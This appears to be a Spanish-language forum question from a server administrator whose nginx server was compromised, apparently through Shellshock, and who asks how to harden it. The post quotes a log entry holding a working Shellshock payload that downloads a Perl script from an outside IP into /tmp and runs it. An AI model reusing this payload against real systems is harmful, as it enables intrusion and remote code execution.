Hace unos días, alguien probó una serie de solicitudes en nuestra instancia de nginx. Todos fallaron excepto uno.
54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"
Este obtuvo un HTTP 200 de nginx y, de hecho, se creó un ejecutable b
en /tmp/
(también había algunos otros ejecutables de nombres extraños e inesperados). No solo eso. Poco después, el tráfico de red en nuestros servidores se disparó y se midieron más de 500 gigas.
Todo listo. No se preocupe por la leche derramada. Hemos reiniciado ese servidor.
Tenemos (lo que creemos) prácticas razonables en lo que respecta a los servidores: actualizamos los paquetes de distribución a diario, vigilamos los registros, hemos tocado las configuraciones para iptables, ssh y similares. Pero nginx (¿bash?) Fue grosero con nosotros, no debería haber permitido eso.
De todos modos, al reiniciar el servidor, esta vez hemos purgado curl y wget. ¿Es de alguna ayuda (los atacantes pueden usar bibliotecas inherentes como urllib para python)?
¿Es incluso posible bloquear la descarga de archivos arbitrarios, especialmente dado que muchos vectores de ataque implican la descarga de scripts remotos y la ejecución local? ¿Será de alguna ayuda?
¿Qué más podemos hacer para protegernos, más aún después de que el atacante ya sabe que ha empeñado la dirección IP una vez, seguramente debe volver a aparecer?
La fecha y la hora en el registro se han eliminado deliberadamente